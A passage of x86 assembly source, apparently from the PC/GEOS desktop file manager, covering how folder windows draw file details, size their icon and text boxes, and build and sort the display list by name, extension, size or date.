es:[bp].FR_modified.FDAT_date ; bx <- FileDate segmov es, ss ; es:di <- buffer mov di, si ; ; add leading 0, if necessary, to even up columns ; mov cx, ax andnf cx, mask FT_HOUR cmp cx, 0 shl offset FT_HOUR je noLeading0 cmp cx, 10 shl offset FT_HOUR je noLeading0 cmp cx, 11 shl offset FT_HOUR je noLeading0 cmp cx, 12 shl offset FT_HOUR je noLeading0 cmp cx, 22 shl offset FT_HOUR je noLeading0 cmp cx, 23 shl offset FT_HOUR je noLeading0 push ax LocalLoadChar ax, '0' LocalPutChar esdi, ax pop ax noLeading0: push ax ; save FileTime call UtilFormatDateAndTime pop ax ; ; ugly hack to deal with 24-hour time format - brianc 5/27/93 ; SBCS < cmp {byte} es:[si]+2, ':' ; two digits, then ':'?> DBCS < cmp {wchar} es:[si]+4, ':' ; two digits, then ':'?> je hackDone ; yup, it worked ; else, forget leading 0 mov di, si ; es:di = buffer call UtilFormatDateAndTime hackDone: pop di ; di <- gstate segmov ds, es ; ds:si <- string clr cx ; null-term call GrDrawTextAtCP pop es, ds add sp, EVEN_DATE_TIME_BUFFER_SIZE pop bx ; ; No attributes in ZMGR's Names and Sizes or Names and Dates ; if GPC_NO_NAMES_AND_DETAILS_ATTRS ne TRUE if (not _ZMGR or not SEPARATE_NAMES_AND_DETAILS) ; ; print file attributes ; mov ax, ss:[fullFileAttrPos] ; bx unchanged call GrMoveTo mov al, es:[bp].FR_fileAttrs test al, mask FA_RDONLY ; check if READ-ONLY jz notRO ; if not, skip mov dl, 'R' ; else, get attribute indicator call DrawAttrBit notRO: test al, mask FA_ARCHIVE ; check if ARCHIVE jz notA ; if not, skip mov dl, 'A' ; else, get attribute indicator call DrawAttrBit notA: test al, mask FA_HIDDEN ; check if HIDDEN jz notH ; if not, skip mov dl, 'H' ; else, get attribute indicator call DrawAttrBit notH: test al, mask FA_SYSTEM ; check if SYSTEM jz notS ; if not, skip mov dl, 'S' ; else, get attribute indicator call DrawAttrBit notS: mov ax, es:[bp].FR_fileFlags test ax, mask GFHF_TEMPLATE jz notT mov dl, 'T' call DrawAttrBit notT: test ax, mask GFHF_SHARED_MULTIPLE jz notM mov dl, 'M' call DrawAttrBit notM: test ax, mask GFHF_SHARED_SINGLE jz notP mov dl, 'P' call DrawAttrBit notP: endif endif done:: .leave ret DrawFullFileDetail endp if GPC_NO_NAMES_AND_DETAILS_ATTRS ne TRUE if (not _ZMGR or not SEPARATE_NAMES_AND_DETAILS) DrawAttrBit proc near clr dh call GrDrawCharAtCP LocalLoadChar dx, ' ' call GrDrawCharAtCP ret DrawAttrBit endp endif endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BuildDisplayList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Goes though folder buffer, and builds linked-list of those files that are to be shown in the folder window. File selection depends on user-settable display attributes. Order depends on user-settable sort field. CALLED BY: INTERNAL - FolderLoadDirInfo FolderSetDisplayOptions PASS: *ds:si - FolderClass object ax = TRUE to sort FALSE to no sort (just rearranging file positions) RETURN: carry clear if no error ds:[si].FOI_displayList - display list head carry set if memory allocation error DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 8/10/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BuildDisplayList proc far class FolderClass uses bx, cx, dx, bp, di, es, si .enter EC < cmp ax, TRUE > EC < je EC_good > EC < cmp ax, FALSE > EC < ERROR_NZ DESK_BAD_PARAMS > EC <EC_good: > DerefFolderObject ds, si, di tst ds:[di].FOI_suspendCount jnz hourGlassSet call ShowHourglass ; might take a while... hourGlassSet: mov bp, ax ; save flag for ; SortFolderBuffer ; ; set up correct values for file drawing box width and box height ; call SetFileBoxWidthHeight call FolderLockBuffer jz clearBothLists mov cl, ds:[di].FOI_displayTypes ; get display options mov ch, ds:[di].FOI_displayAttrs mov dl, ds:[di].FOI_displaySort mov dh, ds:[di].FOI_displayMode push cx ; save display types/attrs call SortFolderBuffer ; sort the folder buffer ; ; returns dx=seg of index table ; cx=handle of ; index table mov ds:[di].FOI_displayList, NIL ; clear list ; in case no files pop bx ; display types/attrs LONG jc exit ; ; Are there any files? If not, done ; tst ds:[di].FOI_fileCount jz noFiles push cx ; handle of index table call BuildListPass pop bx ; free the index table call MemFree noFiles: call RebuildSelectList call FolderUnlockBuffer jmp finishUp clearBothLists: ; ; Set both display and select lists to empty if no buffer. NOTE: Do ; not attempt to do this before calling FolderLockBuffer, as ; SortFolderBuffer relies on having a display list if ax passed to ; us as FALSE (don't sort). ; mov ds:[di].FOI_displayList, NIL mov ds:[di].FOI_selectList, NIL finishUp: ; ; Delay updating the folder info string and other visual things ; if suspended. ; tst ds:[di].FOI_suspendCount jz buildString ornf ds:[di].FOI_folderState, mask FOS_REBUILD_ON_UNSUSPEND jmp visualStuffDone buildString: call PrintFolderInfoString ; ; now set increment size ; mov al, ds:[di].FOI_displayMode ; al, display mode push ax ; save display mode mov cx, ss:[largeIconBoxWidth] mov dx, ss:[largeIconBoxHeight] test al, mask FIDM_LICON jnz gotIncrements mov cx, ss:[shortTextBoxWidth] shr cx mov dx, ss:[shortTextBoxHeight] test al, mask FIDM_SHORT jnz gotIncrements mov cx, ss:[longTextBoxWidth] shr cx mov dx, ss:[longTextBoxHeight] test al, mask FIDM_FULL jnz gotIncrements mov cx, ss:[smallIconBoxWidth] mov dx, ss:[smallIconBoxHeight] EC < test al, mask FIDM_SICON > EC < ERROR_Z DESKTOP_FATAL_ERROR > gotIncrements: push bp sub sp, size PointDWord mov bp, sp mov ss:[bp].PD_x.low, cx mov ss:[bp].PD_x.high, 0 mov ss:[bp].PD_y.low, dx mov ss:[bp].PD_y.high, 0 mov dx, size PointDWord mov ax, MSG_GEN_VIEW_SET_INCREMENT mov di, mask MF_CALL or mask MF_STACK call FolderCallView add sp, size PointDWord pop bp ; ; Fetch the display mode, keeping it on the stack ; pop ax ; display mode if not _NEWDESK push ax endif ; ; set minimum document size ; mov cx, ss:[largeIconBoxWidth] add cx, LARGE_ICON_INDENT mov dx, ss:[largeIconBoxHeight] add dx, LARGE_ICON_DOWNDENT test al, mask FIDM_LICON jnz gotMinSize ; ; Average filename width seems to be about 1/2 the maximum ; width, so use that as the minimum width. Then again, if a ; user were listing a bunch of very short filenames, this ; might be too much... ; mov cx, ss:[shortTextBoxWidth] add cx, TEXT_INDENT shr cx mov dx, ss:[shortTextBoxHeight] add dx, TEXT_DOWNDENT test al, mask FIDM_SHORT jnz gotMinSize mov cx, ss:[shortTextBoxWidth] add cx, TEXT_INDENT mov dx, ss:[longTextBoxHeight] add dx, TEXT_DOWNDENT EC < test al, mask FIDM_FULL > EC < ERROR_Z DESKTOP_FATAL_ERROR > gotMinSize: mov ax, bp ;update mode sub sp, size SetSizeArgs mov bp, sp mov ss:[bp].SSA_updateMode, VUM_NOW mov ss:[bp].SSA_width, cx mov ss:[bp].SSA_height, dx clr ss:[bp].SSA_count mov dx, size SetSizeArgs mov ax, MSG_GEN_SET_MINIMUM_SIZE mov di, mask MF_CALL or mask MF_STACK call FolderCallView add sp, size SetSizeArgs if not _NEWDESK ; ; set correct scrollbars, depending on display mode. Large ; icon mode has a vertical scrollbar ; pop ax ; al - display mode mov cx, 0 or (mask GVDA_SCROLLABLE shl 8) mov dx, mask GVDA_SCROLLABLE or (0 shl 8) test al, mask FIDM_LICON jnz gotScrollBars ; ; names only mode has a horizontal scrollbar ; mov cx, mask GVDA_SCROLLABLE or (0 shl 8) mov dx, 0 or (mask GVDA_SCROLLABLE shl 8) test al, mask FIDM_SHORT ; names only mode jnz gotScrollBars ; ; Names and details mode has both vertical and horizontal ; scrollers. ; ; ; ZMGR Names and Sizes/Names and Dates has only vertical scrollbar ; if _ZMGR mov cx, 0 or (mask GVDA_SCROLLABLE shl 8) else mov cx, mask GVDA_SCROLLABLE or (0 shl 8) endif mov dx, mask GVDA_SCROLLABLE or (0 shl 8) gotScrollBars: ; ; IMPORTANT: Use MF_CALL here, as we want to make sure the ; GenView has put a MSG_META_CONTENT_VIEW_SIZE_CHANGED message ; on our queue before we return from this procedure! ; mov bp, VUM_NOW mov ax, MSG_GEN_VIEW_SET_DIMENSION_ATTRS mov di, mask MF_CALL call FolderCallView endif clc ; indicate no error exit: call HideHourglass visualStuffDone: .leave ret BuildDisplayList endp COMMENT @------------------------------------------------------------------- SetFileBoxWidthHeight ---------------------------------------------------------------------------- DESCRIPTION: Updates the following global variables: largeIconBoxWidth, largeIconBoxHeight smallIconBoxWidth, smallIconBoxHeight shortTextBoxWidth, shortTextBoxHeight longTextBoxWidth, longTextBoxHeight fullFileWidth, fullFileAttrPos, fullFileTimePos, fullFileDatePos CALLED BY: INTERNAL - BuildDisplayList, DrawFolderObjectName, SetFolderOpenSize PASS: *ds:si - FolderClass object RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 11/2/92 Added header ---------------------------------------------------------------------------@ SetFileBoxWidthHeight proc near class FolderClass uses ax, cx, dx, di .enter DerefFolderObject ds, si, di test ds:[di].FOI_displayAttrs, mask FIDA_COMPRESSED ; compressed? jz notCompressed ; no mov ss:[smallIconBoxWidth], SMALL_ICON_BOX_WIDTH_COMPRESSED mov ss:[smallIconBoxHeight], SMALL_ICON_BOX_HEIGHT_COMPRESSED mov ax, ss:[compressedLongTextWidth] mov ss:[longTextNameWidth], ax mov ax, ss:[compressedFullFileDatePos] mov ss:[fullFileDatePos], ax mov ax, ss:[compressedFullFileTimePos] mov ss:[fullFileTimePos], ax mov ax, ss:[compressedFullFileAttrPos] mov ss:[fullFileAttrPos], ax mov ax, ss:[compressedFullFileWidth] mov ss:[fullFileWidth], ax mov ss:[longTextBoxWidth], ax mov ax, ss:[desktopFontHeight] add ax, LONG_TEXT_EXTERNAL_VERT_SPACING cmp ax, TEXT_ICON_HEIGHT jge 10$ mov ax, TEXT_ICON_HEIGHT 10$: mov ss:[longTextBoxHeight], ax mov ss:[shortTextBoxWidth], SHORT_TEXT_BOX_WIDTH_COMPRESSED mov ax, ss:[desktopFontHeight] add ax, SHORT_TEXT_EXTERNAL_VERT_SPACING cmp ax, TEXT_ICON_HEIGHT jge 20$ mov ax, TEXT_ICON_HEIGHT 20$: mov ss:[shortTextBoxHeight], ax jmp done notCompressed: mov ss:[smallIconBoxWidth], SMALL_ICON_BOX_WIDTH_UNCOMPRESSED mov ss:[smallIconBoxHeight], SMALL_ICON_BOX_HEIGHT_UNCOMPRESSED mov ax, ss:[uncompressedLongTextWidth] mov ss:[longTextNameWidth], ax mov ax, ss:[uncompressedFullFileDatePos] mov ss:[fullFileDatePos], ax mov ax, ss:[uncompressedFullFileTimePos] mov ss:[fullFileTimePos], ax mov ax, ss:[uncompressedFullFileAttrPos] mov ss:[fullFileAttrPos], ax mov ax, ss:[uncompressedFullFileWidth] mov ss:[fullFileWidth], ax mov ss:[longTextBoxWidth], ax mov ax, ss:[desktopFontHeight] add ax, LONG_TEXT_EXTERNAL_VERT_SPACING cmp ax, TEXT_ICON_HEIGHT jge 30$ mov ax, TEXT_ICON_HEIGHT 30$: mov ss:[longTextBoxHeight], ax ; ; In names only mode, always allow the names to be as long as ; they want. ; mov ax, ss:[uncompressedLongTextWidth] mov ss:[shortTextBoxWidth], ax add ss:[shortTextBoxWidth], TEXT_ICON_WIDTH + \ TEXT_ICON_HORIZ_SPACING + \ SHORT_TEXT_EXTERNAL_HORIZ_SPACING mov ax, ss:[desktopFontHeight] add ax, SHORT_TEXT_EXTERNAL_VERT_SPACING cmp ax, TEXT_ICON_HEIGHT jge 40$ mov ax, TEXT_ICON_HEIGHT 40$: mov ss:[shortTextBoxHeight], ax done: call FolderCalcIconBoxSize mov ss:[largeIconBoxWidth], cx mov ss:[largeIconBoxHeight], dx .leave ret SetFileBoxWidthHeight endp COMMENT @------------------------------------------------------------------- FolderCalcIconBoxSize ---------------------------------------------------------------------------- DESCRIPTION: Returns the size of icon box (used during a selection) used by the given folder. CALLED BY: INTERNAL - SetFileBoxWidthHeight PASS: *ds:si - FolderClass object ss:[desktopFontHeight] ss:[desktopDisplayType] RETURN: cx = icon box width dx = icon box height DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 11/2/92 Initial version ---------------------------------------------------------------------------@ FolderCalcIconBoxSize proc near class FolderClass uses di .enter ; ; First, assume we are *not* in compressed mode. ; call FolderCalcIconSize ; cx = width ; dx = height add cx, LARGE_ICON_EXTERNAL_HORIZ_SPACING add dx, LARGE_ICON_VERT_SPACING + \ LARGE_ICON_EXTERNAL_VERT_SPACING add dx, ss:[desktopFontHeight] ; ; Handle any adjustments needed if we are in compressed mode. ; DerefFolderObject ds, si, di test ds:[di].FOI_displayAttrs, mask FIDA_COMPRESSED jz notCompressed sub cx, 30 sub dx, 5 notCompressed: .leave ret FolderCalcIconBoxSize endp COMMENT @------------------------------------------------------------------- FolderCalcIconSize ---------------------------------------------------------------------------- DESCRIPTION: Returns the size of icons used by the given folder. CALLED BY: INTERNAL - SetFileBoxWidthHeight PASS: nothing RETURN: cx = icon width dx = icon height DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 11/2/92 Initial version ---------------------------------------------------------------------------@ FolderCalcIconSize proc near .enter ; ; Assume non-CGA display mode ; mov cx, LARGE_ICON_WIDTH mov dx, LARGE_ICON_HEIGHT ; ; Handle any adjustments needed if we are in CGA. ; call FolderCodeCheckIfCGA jnc notCGA sub dx, CGA_ICON_HEIGHT_DIFFERENCE notCGA: .leave ret FolderCalcIconSize endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SortFolderBuffer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: sorts the files in the folder buffer; an external index table is built then sorted CALLED BY: INTERNAL BuildDisplayList PASS: dl - sort field (FI_DisplaySort record) *ds:si - FolderClass object es - segment of locked folder buffer bp = TRUE to sort FALSE to no sort (just rearranging file positions) RETURN: carry clear if no error dx - index table segment cx - index table handle carry set if memory allocation error preserves ds, si, es DESTROYED: ax, cx, bp PSEUDO CODE/STRATEGY: uses selection sort (if you don't know the algorithm...:-) this is OK since typically the number of files to sort is fairly small (~20) KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 8/10/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SortFolderBuffer proc near class FolderClass uses bx, si, di .enter EC < cmp bp, TRUE > EC < je EC_good > EC < cmp bp, FALSE > EC < ERROR_NZ DESK_BAD_PARAMS > EC <EC_good: > DerefFolderObject ds, si, si push ds, si mov ax, ds:[si].FOI_fileCount ; get number of files tst ax ; if none, no sort (1 is ok) LONG jz SFB_exit push ax ; save file count mov cx, ALLOC_DYNAMIC_LOCK ; locked block shl ax, 1 ; size of word table for files call MemAlloc ; allocate buffer pop cx ; retrieve file count LONG jc SFB_exit ; if memory error, done push bx ; save handle of index table push es ; save segment of folder buffer mov es, ax ; es - segment of index table cmp bp, TRUE ; sort normally? je SFB_sort ; yes ; ; build sorted index table from display list ; ds:si = folder instance data ; es = segment of index table ; cx = number of files (at least 1) ; clr di ; es:di = start of index buffer mov si, ds:[si].FOI_displayList ; ds:si = first file in pop ds ; display list SFB_sortedIndexLoop: cmp si, NIL ; early end of display list? jne SFB_moreToAdd ; no, continue mov ax, NIL ; else, mark early end of index stosw ; table... jmp SFB_loopEnd ; ...and get out SFB_moreToAdd: mov ax, si stosw ; store its offset in index buf mov si, ds:[si].FR_displayNext ; ds:si = next file in list loop SFB_sortedIndexLoop SFB_loopEnd: mov dx, es ; return DX = index table seg. segmov es, ds ; restore es = folder buffer jmp SFB_done SFB_sort: mov ds, ax ; ds - segment of index table ; ; fill in index table with unsorted address of folder buffer entries ; clr di ; es:di = index buffer entry mov ax, offset FBH_buffer ; ax = folder buffer entry SFB_initLoop: stosw ; store folder buffer entry add ax, size FolderRecord ; ptr to next fldr buf entry loop SFB_initLoop ; go back to store it pop es ; restore seg. of folder buffer mov ax, di ; ax = end of index table ; ; sort via the index table ; if COUNT_SORT_COMPARISONS mov ss:[sortComparisonCount].low, 0 mov ss:[sortComparisonCount].high, 0 endif ; if COUNT_SORT_COMPARISONS if 0 ; ; START of selection sort ; clr bp ; bp = position to fill SFB_fillNext: mov si, bp ; si = smallest so far mov di, si SFB_nextIndex: add di, 2 ; di = scanner for smallest cmp di, ax je SFB_doneScan call CompareSortFields ; cmp *si, *di jb SFB_nextIndex ; if *si <= *di, check next mov si, di ; else, point to new smallest jmp short SFB_nextIndex ; check next SFB_doneScan: ; ; swap position to fill with smallest ; mov bx, ds:[bp] ; get position to fill's ptr mov cx, ds:[si] ; get new smallest ptr mov ds:[bp], cx ; store new ptr in pos. to fill mov ds:[si], bx ; store pos. to fill' ptr add bp, 2 ; move to next position to fill cmp bp, ax ; check if done jne SFB_fillNext ; if not, go back to fill it ; ; END selection sort ; elif 0 ; ; START insertion sort ; clr bx ; bx = position being worked on SFB_nextPos: add bx, 2 ; move to next position cmp bx, ax ; finished sorting? je SFB_doneSort ; yes mov bp, ds:[bx] ; get this item mov si, bx ; get item index for comparison mov di, bx ; di = loop through sorted ones sub di, 2 ; starting from back end SFB_compareEntry: call CompareSortFields ; cmp *si, *di fields jae SFB_nextPos ; if in right place, do next EC < push di > EC < add di, 2 > EC < cmp di, ax > EC < pop di > EC < ERROR_AE DESKTOP_FATAL_ERROR > mov cx, ds:[di] ; shift down to make room mov ds:[di+2], cx mov ds:[di], bp ; store item being worked on mov si, di tst di jz SFB_nextPos ; stored at 1st pos, do next sub di, 2 jmp short SFB_compareEntry SFB_doneSort: ; ; END insertion sort ; elif 1 ; ; START binary insertion sort ; clr si ; si = position being worked on SFB_nextPos: add si, 2 ; move to next position cmp si, ax ; finished sorting? je SFB_doneSort ; yes clr bx ; bx = left mov cx, si sub cx, 2 ; cx = right SFB_binarySearchLoop: cmp bx, cx ; finished? ja SFB_binarySearchDone ; yes mov di, bx add di, cx shr di ; di = middle andnf di, 0xfffe ; nuke low bit for word index call CompareSortFields ; compare *si, *di jae SFB_secondHalf ; belongs after middle mov cx, di tst cx ; (special case, first position) jz SFB_binarySearchDone sub cx, 2 ; cx = new right (before old jmp short SFB_binarySearchLoop ; middle) SFB_secondHalf: mov bx, di add bx, 2 ; bx = new left (after old jmp short SFB_binarySearchLoop ; middle) SFB_binarySearchDone: ; move ds:[si] to ds:[bx], shifting everything down mov bp, ds:[si] ; bp = item being placed mov di, si ; di = item to move mov cx, si sub cx, bx shr cx ; cx = # to move jcxz SFB_nextPos ; in right place, no move needed SFB_moveLoop: EC < cmp di, ax > EC < ERROR_AE DESKTOP_FATAL_ERROR > EC < tst di > EC < ERROR_Z DESKTOP_FATAL_ERROR > mov bx, ds:[di-2] mov ds:[di], bx sub di, 2 loop SFB_moveLoop mov ds:[di], bp ; save item being placed jmp short SFB_nextPos SFB_doneSort: ; ; END binary insertion sort ; endif mov dx, ds ; return index segment in DX SFB_done: pop cx ; return index handle in CX clc ; indicate success SFB_exit: pop ds, si .leave ret SortFolderBuffer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CompareSortFields %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: compares two elements to be sorted CALLED BY: INTERNAL SortFolderBuffer PASS: es - segment of folder buffer ds - segment of index table si - pointer into index table of current "smallest" di - pointer into index table of prospective "smallest" dl - sort field RETURN: C set if *si is "smaller" than *di C clear otherwise (will need to swap entries) DESTROYED: none PSEUDO CODE/STRATEGY: a directory is "smaller" than a non-directory (so that they will always appear first in file listing) KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 8/10/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CompareSortFields proc near uses ax, bx, cx .enter if COUNT_SORT_COMPARISONS add ss:[sortComparisonCount].low, 1 adc ss:[sortComparisonCount].high, 0 endif ; ; first, check if one or the other is a directory, if so, the ; directory is "smaller" than the other ; test dl, mask FIDS_DOS ; DOS order sort ignores dirs. jnz CSF_dos mov bx, ds:[si] ; get smallest-so-far mov cl, es:[bx].FR_fileAttrs andnf cl, mask FA_SUBDIR ; cl<>0 if smallest is dir mov bx, ds:[di] ; get possible smallest mov ch, es:[bx].FR_fileAttrs andnf ch, mask FA_SUBDIR ; ch<>0 if possible is dir cmp ch, cl ; if sm=dir & pos<>dir, C set ; if sm<>dir & pos=dir, C clr jne doneJMP ; if different, use result ; ; if none or both are directories, sort by the sort field ; test dl, mask FIDS_EXT ; check if sort by extension jnz CSF_ext ; if so, do it test dl, mask FIDS_NAME ; check if sort by name jnz nameJMP ; if so, do it test dl, mask FIDS_SIZE ; check if sort by size jnz CSF_size ; if so, do it test dl, mask FIDS_CREATION jnz CSF_creation EC < test dl, mask FIDS_DATE ; check if sort by date/time > EC < jnz CSF_date ; if so, do it > EC < ERROR NO_SORT_FIELD ; else, bad news > EC < CSF_date: > mov ax, offset FR_modified dateCommon: ; ; compare by dates ; mov bx, ds:[si] ; get smallest-so-far ; cx = date of smallest add bx, ax mov cx, es:[bx].FDAT_date mov bx, ds:[di] ; get possible smallest add bx, ax cmp es:[bx].FDAT_date, cx ; compare jne doneJMP ; if different, use result mov bx, ds:[si] ; get smallest-so-far ; cx = time of smallest add bx, ax mov cx, es:[bx].FDAT_time mov bx, ds:[di] ; get possible smallest add bx, ax cmp es:[bx].FDAT_time, cx ; compare je nameJMP ; if dates are same, use name doneJMP: jmp CSF_done ; else, return result CSF_creation: mov ax, offset FR_created jmp dateCommon ; ; compare by DOS order ; CSF_dos: mov bx, ds:[si] ; get smallest-so-far mov cx, es:[bx].FR_invPos ; get inverted position mov bx, ds:[di] ; get possible smallest ; compare inverted position cmp es:[bx].FR_invPos, cx ; (ds:[si] smaller if cx bigger) jmp doneJMP ; must be different, use result ; ; compare by sizes ; CSF_size: mov bx, ds:[si] ; get smallest-so-far ; high-word of size mov cx, es:[bx].FR_size.high mov bx, ds:[di] ; get possible smallest ; compare high-word of size cmp es:[bx].FR_size.high, cx jne doneJMP ; if different, use result mov bx, ds:[si] ; get smallest-so-far ; low-word of size mov cx, es:[bx].FR_size.low mov bx, ds:[di] ; get possible smallest ; compare low-word of size cmp es:[bx].FR_size.low, cx jne doneJMP ; if different, use results nameJMP: jmp short CSF_name ; else, use names ; ; compare by extensions ; CSF_ext: push si, di ; find smallest's extension (if any) mov si, ds:[si] ; get smallest-so-far ; first longname char, if any clr ax CSF_smExtLoop: SBCS < mov cl, es:[si].FR_name ; its name > DBCS < mov cx, {wchar}es:[si].FR_name ; its name > LocalIsNull cx jz CSF_smDone LocalNextChar essi LocalCmpChar cx, '.' ; find extension for DOS files jne CSF_smExtLoop mov ax, si ; record possible ext start jmp CSF_smExtLoop CSF_smDone: tst ax ; any ext? jz CSF_poExtStart ; no => leave si pointing ; to null mov_tr si, ax ; si <- start of ext ; find possible smallest's extension (if any) CSF_poExtStart: mov di, ds:[di] ; get possible smallest ; first longname char, if any clr ax CSF_poExtLoop: SBCS < mov ch, es:[di].FR_name ; its name > DBCS < mov cx, {wchar}es:[di].FR_name ; its name > SBCS < tst ch > DBCS < LocalIsNull cx > jz CSF_poDone LocalNextChar esdi SBCS < cmp ch, '.' ; find extension for DOS files> DBCS < cmp cx, '.' ; find extension for DOS files> jne CSF_poExtLoop mov ax, di jmp CSF_poExtLoop CSF_poDone: tst ax ; any ext jz CSF_cmpExts ; no => leave di pointing ; to null mov_tr di, ax ; di <- start of ext CSF_cmpExts: SBCS < mov al, es:[si].FR_name > SBCS < mov ah, es:[di].FR_name > DBCS < mov ax, {wchar}es:[si].FR_name > DBCS < or ax, {wchar}es:[di].FR_name > SBCS < tst ax > jnz CSF_oneOrBothExt ; => one or both has extension pop si, di jmp CSF_name ; neither has ext, so use ; name as secondary sort CSF_oneOrBothExt: push ds ; point to ext or null CheckHack <(offset FR_name) eq 0> segmov ds, es ; ds = es = name segment mov cx, DOS_FILE_NAME_EXT_LENGTH ; now compare extensions starting at the ('.' or null), if no ; extension, (null, '.') comparison will stop repeat loop with ; (null < '.'), so files with no extensions come before those ; with extensions ; repe cmps[214zb ;case-insensitive SBCS < clr ax ; DOS->GEOS convert both exts> call NoCaseRepeCmpsb pop ds pop si, di jne CSF_done ; if different, use result ; jmp short CSF_name ; else, use names ;FALL-THROUGH .assert $ eq CSF_name ; ; compare by names ; CSF_name: push ds, si, es, di, bp ; these are not pushed if this ; code isn't executed ; (saves time) clr cl mov bp, ds:[di] ; es:bp = possible's entry mov ax, ds ; save index table segment mov bx, si ; ds:[bx] = smallest's entry call GetFolderObjectName ; ds:si = possible's name SBCS < jnc conv2 ; DOS name, need conversion > SBCS < ornf cl, 0x2 ; else longname, no convert > SBCS <conv2: > push ds, si mov ds, ax ; retrieve index table segment mov bp, ds:[bx] ; es:bp = smallest's entry call GetFolderObjectName ; ds:si = smallest's name SBCS < jnc conv1 ; DOS name, need conversion > SBCS < ornf cl, 0x1 ; else longname, no convert > SBCS <conv1: > pop es, di ; es:di = possible's name clr ax mov al, cl ; ax = conversion flag mov cx, FILE_LONGNAME_BUFFER_SIZE ; can always use this since ; names are null-termed. ; repe cmpsb ; compare them ;case-insensitive call NoCaseRepeCmpsb pop ds, si, es, di, bp CSF_done: .leave ret CompareSortFields endp ; ; ds:si = source ; es:di = dest ; cx = # chars ; SBCS: ; ax = conversion flag ; bit 0 set to NOT convert string 1 (longname) ; bit 1 set to NOT convert string 2 (longname) ; NoCaseRepeCmpsb proc near SBCS < uses bx > .enter if DBCS_PCGEOS call LocalCmpStrings else mov bx, '_' ; bx=default char for DOS-to-GEOS conv. call LocalCmpStringsDosToGeos endif .leave ret NoCaseRepeCmpsb endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BuildListPass %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: low-level routine to build display list CALLED BY: INTERNAL BuildDisplayList PASS: *ds:si - FolderClass object es - segment of locked folder buffer dx - segment of locked index table for folder buffer bl - file types to display bh - file attributes to display RETURN: DESTROYED: ax, cx, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 8/10/89 Initial version brianc 12/7/89 changed to call specific routines martin 7/22/92 Reworked to handle flexible placement martin 12/6/92 Simplified. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BuildListPass proc near class FolderClass uses bx, si, di .enter mov bp, NIL clr di ; dx:di = start of index table DerefFolderObject ds, si, si mov cx, ds:[si].FOI_fileCount jcxz done ; ; The display list is built by creating links between the ; FolderRecords on the index table, built in SortFolderBuffer. ; indexLoop: call CheckEarlyEndOfIndexTable je done push di ; save index table offset call DerefIndexAndCheckFile jc skipThisOne call LinkToDisplayList ; add to display list skipThisOne: pop di ; retrieve index table offset add di, 2 ; next index table entry loop indexLoop done: .leave ret ; <---- EXIT HERE BuildListPass endp CheckEarlyEndOfIndexTable proc near push es mov es, dx cmp es:[di], NIL pop es ret CheckEarlyEndOfIndexTable endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DerefIndexAndCheckFile %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Gets the folder record from the index table, and checks if it should be added to the display list. If the file is not on the display list, will set FR_StateFlags for the FolderRecord appropriately. CALLED BY: INTERNAL - BuildListPass PASS: ds:si - instance data of folder object es - segment of locked folder buffer dx - segment of locked index table for folder buffer di - offset into index table bl - file types to display bh - file attributes to display RETURN: carry clear if file should be added to display list carry set if file should not be added to display list es:di = pointer to folder record DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- martin 7/22/92 Added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DerefIndexAndCheckFile proc near push es ; save folder buffer segment mov es, dx ; access index table mov di, es:[di] ; deref. index table pop es ; restore folder buffer segm. call 